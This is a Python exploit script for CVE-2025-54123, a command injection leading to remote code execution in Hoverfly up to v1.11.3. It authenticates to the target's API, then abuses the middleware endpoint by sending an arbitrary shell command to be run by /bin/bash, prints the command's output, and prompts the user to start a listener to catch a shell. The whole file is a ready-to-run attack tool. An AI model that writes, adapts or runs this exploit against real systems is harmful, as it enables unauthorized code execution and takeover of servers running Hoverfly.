import requests
import argparse
import sys
from urllib.parse import urlparse
import time

def login(dom,port,username,password,cmd):
    login_url = f"http://{dom}:{port}/api/token-auth"
    print(f"Attempting login to {login_url}")
    print(f"Checking Credentials....")
    cred = {
        "username":f"{username}",
        "password":f"{password}"
    }

    r = requests.post(login_url,json=cred)

    token = r.json().get("token")
    print(f"Login Successfull!")
    exploit(dom,port,token,cmd)
    return True

def exploit(dom,port,token,cmd):
    
    print(f"Exploiting Command Injection...")
    print("Makesure to start your listener for gaining shell..")
    print(f"Injected : {cmd}")
    time.sleep(3)
    url = f"http://{dom}:{port}/api/v2/hoverfly/middleware"

    header = {
       "Authorization": f"Bearer {token}",
       "Content-Type": "application/json"
    }
    
    payload = {
        "binary":"/bin/bash",
        "script":f"{cmd}"
    }
    try:
        ex = requests.put(url,json=payload,headers=header)
        output = ex.json()["error"]
        stdout = output.split("STDOUT:\n")[1]
        print(stdout)
        print("Exploited Succesfully")
    except: 
        print(f"Exploit Failed!!")
    sys.exit()
    

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-54123 - Hoverfly <= v1.11.3 Command Injection to RCE Exploit Tool")

    parser.add_argument("--target", type=str,required=True, help="Enter the target domain or ip")
    parser.add_argument("--port", type=str, default="8888",required=True, help="Enter target port")
    parser.add_argument("-u", type=str, help="Enter Hoverfly dashboard username ")
    parser.add_argument("-p", type=str, help="Enter Hoverfly dashboard password")
    parser.add_argument("--token", type=str, help="You can provide direct access token here")
    parser.add_argument("--cmd", type=str,required=True, help="Enter custom payload to execute commands. Ex: id")
    args = parser.parse_args()

    host = args.target.strip()

    if not host.startswith(('http://', 'https://')):
        if '://' in host:
            print("Error: Unsupported URL protocol.", file=sys.stderr)
            sys.exit(1)
        host = 'https://' + host

    try:
        dom = urlparse(host).hostname
        
        if not dom:
            print("Error: Could not extract a valid domain or IP.", file=sys.stderr)
            sys.exit(1)
            
        print(f"Approacing target : {dom}")
        
    except Exception as e:
        print(f"Parsing error: {e}", file=sys.stderr)
        sys.exit(1)
    port = args.port
    username = args.u
    password = args.p
    cmd = args.cmd
    token = args.token
    
    if token:
       try:
           exploit(dom, port, token, cmd)
           sys.exit(1)
       except: 
           print("Invalid token, try using credentials..")
    elif username and password:
        auth = login(dom, port, username, password, cmd)
        if not auth:
            print("Authentication Failed!", file=sys.stderr)
            sys.exit(1)
    else:
        print("Error: You must provide either a --token or login credentials.", file=sys.stderr)
        sys.exit(1)
    

if __name__ == "__main__":
    main()